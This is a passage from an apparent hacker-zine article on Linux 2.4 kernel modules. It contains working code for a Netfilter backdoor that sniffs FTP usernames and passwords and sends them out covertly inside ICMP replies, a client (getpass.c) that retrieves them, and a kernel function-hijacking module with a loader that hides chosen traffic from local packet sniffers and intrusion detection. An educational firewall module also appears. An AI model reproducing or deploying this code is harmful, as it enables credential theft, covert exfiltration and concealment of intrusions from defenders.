    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:        /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
{
   unsigned char t_hwaddr[ETH_ALEN];
  
   /* Move the data pointer to point to the link layer header */
   sb->data = (unsigned char *)sb->mac.ethernet;
   sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
   memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
   memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
  ETH_ALEN);
   memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
 
   break;
}
   };

   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
  
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
  
   target_port = target_ip = 0;

//   printk("Password retrieved/n");
  
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
  
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
  
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
  
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
  
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->

------[ 5.2.2 - getpass.c

<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD        /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];        /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
   
    if (argc < 3) {
fprintf(stderr, "Usage:  %s remoteIP myIP/n", argv[0]);
exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s/n",
strerror(errno));
exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
  ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s/n",
        strerror(errno));
exit(1);
    }
   
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
   
    my_addr.s_addr = inet_addr(argv[2]);
   
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
   
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
   
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
   
    /* Finally, send the packet */
    fprintf(stdout, "Sending request.../n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
       sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "/nFailed sending request! %s/n",
strerror(errno));
return 0;
    }

    fprintf(stdout, "Waiting for reply.../n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s/n",
strerror(errno));
close(icmp_sock);
exit(1);
    }

    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
       sizeof (struct in_addr));
   
    fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s/n",
     (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s/n",
     (char *)((char *)icmphead + 28));
   
    close(icmp_sock);
   
    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
  
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
  
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
  
   return ~sum;
}
<-->


--[ 6 - Hiding network traffic from Libpcap

   This section will briefly describe how the Linux 2.4 kernel
can be hacked to make network traffic that matches predefined
conditions invisible to packet  sniffing software  running on
the local machine.  Presented at the  end of  this article is
working  code that will  do such a thing for all IPv4 traffic
coming from or  going to a particular  IP address.  So  let's
get started shall we...

----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap

   Some of the most useful software for a system administrator
is that which  can be classified  under the  broad  title  of
"packet sniffer".  Two of the most common examples of general
purpose packet sniffers are  tcpdump(1) and Ethereal(1). Both
of these applications utilise the Libpcap library  (available
from [1] along with tcpdump) to capture raw packets.  Network
Intrusion  Detection  Systems  (NIDS)  also  make  use of the
Libpcap library.  SNORT requires Libpcap, as does  Libnids, a
NIDS  writing  library that  provides  IP  reassembly and TCP
stream following and is available from [2].

   On Linux systems, the Libpcap library uses the  SOCK_PACKET
interface.  Packet sockets  are special  sockets  that can be
used to send and receive raw packets at the link layer. There
is a lot that can be said about packet sockets and their use.
However, because this  section is about  hiding from them and
not using them,  the interested  reader is  directed  to  the
packet(7) man page.  For the  discussion  here,  it  is  only
neccessary to understand that packet sockets are what Libpcap
applications use to get the information on raw packets coming
into or going out of the machine.

   When a packet is received by the kernel's network  stack, a
check is  performed to see  if there  are any packet  sockets
that would be  interested in this packet.  If there  are then
the packet is delivered to those interested sockets.  If not,
the packet simply  continues on it's  way to the  TCP, UDP or
other socket type that it's  truly bound for.  The same thing
happens for sockets  of type SOCK_RAW.  Raw sockets  are very
similar to packet sockets,  except they do not  provide  link
layer headers.  An  example of a  utility  that utilises  raw
IP  sockets is my SYNalert  utility, available at [3]  (sorry
about the shameless plug there :).

   So now you  should see  that packet  sniffing  software  on
Linux uses the Libpcap library.  Libpcap utilises the  packet
socket  interface  to obtain raw  packets with link layers on
Linux systems.  Raw sockets  were also mentioned which act as
a way for user space  applications to obtain packets complete
with IP headers.  The next  section will  discuss how  an LKM
can be used to hide network traffic from these packet and raw
socket interfaces.


------[ 6.2 Wrapping the cloak around the dagger

   When a packet is  received and sent to a packet socket, the
packet_rcv() function  is called.  This function can be found
in  net/packet/af_packet.c.  packet_rcv() is  responsible for
running the  packet through any  socket  filters that  may be
applied  to the  destination  socket  and  then the  ultimate
delivery of the  packet to  user space.  To hide packets from
a packet  socket we need to prevent  packet_rcv()  from being
called  at all for certain packets.  How do we do this?  With
good ol'-fashioned function hijacking of course.

   The basic operation of  function  hijacking  is that  if we
know the  address of a kernel  function,  even one that's not
exported, we can  redirect that function to  another location
before  we allow  the real code to run.  To do this we  first
save  so  many of the  original  instruction  bytes from  the
beginning of the  function and replace them with  instruction
bytes that perform an absolute jump to our own code.  Example
i386 assembler to do this is given here:

        movl  (address of our function),  %eax
jmp   *eax

   The generated hex bytes of these instructions (substituting
zero as our function address) are:

        0xb8 0x00 0x00 0x00 0x00
0xff 0xe0

   If in the  initialisation of an LKM we  change the function
address  of  zero  in  the  code  above to  that of our  hook
function, we can make our hook function run first.  When (if)
we want to run  the original  function we simply  restore the
original bytes at the  beginning, call the function  and then
replace  our  hijacking code.  Simple, but  powerful.  Silvio
Cesare has written a  document a while  ago detailing  kernel
function hijacking. See [4] in the references.

   Now to hide  packets from  packet  sockets we need to first
write the hook  function that will  check to see if a  packet
matches our criteria to be hidden.  If it does, then our hook
function simply returns zero to it's caller and  packet_rcv()
never  gets called.  If packet_rcv()  never gets called, then
the  packet is  never  delivered  to the  user  space  packet
socket.  Note  that it is only the *packet*  socket that this
packet will be dropped on.  If we want to filter FTP  packets
from being sent to  packet sockets then the  FTP server's TCP
socket will  still see the  packet.  All that  we've done  is
made that packet  invisible to any sniffer  software that may
be running on the host.  The FTP server will still be able to
process and log the connection.

   In theory that's all there is too it.  The same  thing  can
be  done for raw  sockets as well.  The difference is that we
need to hook  the  raw_rcv()  function (net/ipv4/raw.c).  The
next  section will  present and  discuss  source  code for an
example LKM that will  hijack the packet_rcv() and  raw_rcv()
functions and hide any  packets going to or coming from an IP
address that we specify.


--[ 7 - Conclusion

Hopefully by now you have at least a basic understanding of what Netfilter
is, how to use it  and what you can do with it. You should also  have  the
knowledge to hide special network traffic from sniffing software running on
the local machine.If you would like a tarball of the sources used for this
tutorial then just  email me.  I  would also  appreciate any  corrections,
comments  or suggestions. Now I leave it to you and your imagination to do
something interesting with what I have presented here.


--[ A - Light-Weight Fire Wall
----[ A.1 - Overview

The  Light-Weight  Fire  Wall  (LWFW)  is  a  simple  kernel  module  that
demonstrates  the basic  packet  filtering  techniques that were presented
in section 4.LWFW also  provides a control  interface  through the ioctl()
system call.

Because the LWFW source is  sufficiently  documented I will  only  provide
a brief overview  of how it  works.  When the  LWFW  module  is  installed
its  first  task  is to try and  register the  control  device.  Note that
before the ioctl()  interface to LWFW can be used, a character device file
needs to be made in /dev.  If the control device registration succeeds the
"in use" marker is cleared and  the hook function for  NF_IP_PRE_ROUTE  is
registered. The clean-up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the
order of processing:
  -- Source interface
  -- Source IP address
  -- Destination TCP port

The specifics of these rules are set with the ioctl() interface.
When a packet is received LWFW will check it against all the rules which
have been set. If it matches any of the rules then the hook function will
return NF_DROP and Netfilter will silently drop the packet. Otherwise
the hook function will return NF_ACCEPT and the packet will continue
on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a
packet comes into the hook function and LWFW is active the total
number of packets seen is incremented. The individual rules checking
functions are responsible for incrementing their respective count of
dropped packets. Note that when a rule's value is changed its count of
dropped packets is reset to zero. The lwfwstats program utilises the
LWFW_GET_STATS IOCTL to get a copy of the statistics structure and
display it's contents.


----[ A.2 - The source...  lwfw.c

<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
*
* Written by bioforge  -  March 2003.
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <asm/errno.h>
#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
      unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
    | LWFW_IP_DENY_ACTIVE
    | LWFW_PORT_DENY_ACTIVE);

static int major = 0;        /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */

/*
* This is the interface device's file_operations structure
*/
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL        /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
       struct sk_buff **skb,
       const struct net_device *in,
       const struct net_device *out,
       int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
  
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
  
   lwfw_statistics.total_seen++;
  
   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
lwfw_statistics.if_dropped++;
lwfw_statistics.total_dropped++;
return NF_DROP;
      }
   }
  
   /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
  
   /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
  
   return NF_ACCEPT;        /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);

   copy_to_user(statbuff, &lwfw_statistics,
sizeof(struct lwfw_stats));
  
   return 0;
}

/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th.
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
  
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }

   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
  
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
     
      return NF_DROP;
   }
  
   return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
  
   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
     
      return NF_DROP;
   }
  
   return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;        /* Duplicate interface */
  
   /* Make sure the name is non-null */
   NULL_CHECK(name);
  
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
  
   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }

   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s/n", deny_if);
  
   return ret;
}

static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
  
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d/n",
  ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
  (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
  
   return 0;
}

static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
  
   printk("LWFW: Set to deny for TCP port: %d/n",
  ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
 
   return 0;
}

/*********************************************/
/*
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
      unsigned int cmd, unsigned long arg)
{
   int ret = 0;
  
   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated./n");
       if (!deny_if && !deny_ip && !deny_port) {
  printk("LWFW: No deny options set./n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
       printk("LWFW: Deactivated./n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
       ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
       ret = set_ip_rule((unsigned int)arg);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule((unsigned short)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };
  
   return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      MOD_INC_USE_COUNT;
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   MOD_DEC_USE_COUNT;
   return 0;
}

/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
   /* Register the control device, /dev/lwfw */
      SET_MODULE_OWNER(&lwfw_fops);
  
   /* Attempt to register the LWFW control device */
   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
&lwfw_fops)) < 0) {
      printk("LWFW: Failed registering control device!/n");
      printk("LWFW: Module installation aborted./n");
      return major;
   }
  
   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

   printk("/nLWFW: Control device successfully registered./n");
  
   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;            /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */
  
   /* And register... */
   nf_register_hook(&nfkiller);
  
   printk("LWFW: Network hooks successfully installed./n");
  
   printk("LWFW: Module installation successful./n");
   return 0;
}

void cleanup_module()
{
   int ret;
  
   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);

   /* Now unregister control device */
   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
      printk("LWFW: Removal of module failed!/n");
   }

   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);
  
   printk("LWFW: Removal of module successful./n");
}
<-->

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
*
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
*
* Written by bioforge  -  March 2003
*/

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw"

/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
   unsigned int if_dropped;        /* Packets dropped by interface rule */
   unsigned int ip_dropped;        /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;        /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};

/*
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    /
   if ((ptr) == NULL)  return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif        /* __KERNEL__ */
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~
<-->


--[ B - Code for section 6

   Presented  here is  a  simple  module that will  hijack the
packet_rcv() and raw_rcv() functions to hide  any packets  to
or from the  IP address  we specify.  The default  IP address
is set to 127.0.0.1, but this  can be changed by changing the
value of  the  #define IP.  Also  presented is a  bash script
that will get the addresses for the required functions from a
System.map  file  and run  insmod  with  these  addresses  as
parameters in the required  format.  This loader  script  was
written by  grem.  Originally for  my Mod-off project, it was
easily  modified to suit  the module  presented here.  Thanks
again grem.

   The presented module  is proof-of-concept  code only and as
such, does not have anything in the way of module  hiding. It
is also  important to  remember that although this module can
hide  traffic  from a  sniffer  running on the  same  host, a
sniffer on a different host, but on the same LAN segment will
still see  the packets. From what is presented in the module,
smart  readers  should have  everything  they need to  design
filtering functions to block any kind of packets they need. I
have successfully used the technique presented  in this  text
to hide control and information retrieval packets used by  my
other LKM projects.


<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
* which is used to pass packets to  Libpcap applications
* that use  PACKET sockets.  Also  hijacks the raw_rcv()
* function. This is used to pass packets to applications
* that open RAW sockets.
*
* Written by bioforge  -  30th June, 2003
*/

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h>        /* For struct ip */
#include <linux/if_ether.h>        /* For ETH_P_IP */

#include <asm/page.h>        /* For PAGE_OFFSET */

/*
* IP address to hide 127.0.0.1 in NBO for Intel */
#define IP    htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
  struct packet_type *pt);
MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, /
     sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, /
  sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
* Note that the hijack code also provides 3 additional
* bytes ( inc eax;  nop;  dec eax ) to try and throw
* simple hijack detection techniques that just look for
* a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "/xb8/x00/x00/x00/x00"
                                      "/x40/x90/x48"
                                      "/xff/xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "/xb8/x00/x00/x00/x00"
                                      "/x40/x90/x48"
                                      "/xff/xe0";
static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
       struct packet_type *pt)
{
    int sl_flags;        /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0;     /* Ignore this packet */
   
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;        /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0;     /* Ignore this packet */
   
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;        /* Flags for spinlock */
   
    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
printk("Address for packet_rcv() not valid! (%08x)/n",
       (int)pr);
return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
printk("Address for raw_rcv() not valid! (%08x)/n",
       (int)rr);
return -1;
    }
        
    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
   
    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
   
    EXPORT_NO_SYMBOLS;
   
    return 0;
}

void cleanup_module()
{
    int sl_flags;
   
    lock_kernel();
   
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
   
    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
        echo "Use: $0 <System.map>";
        exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
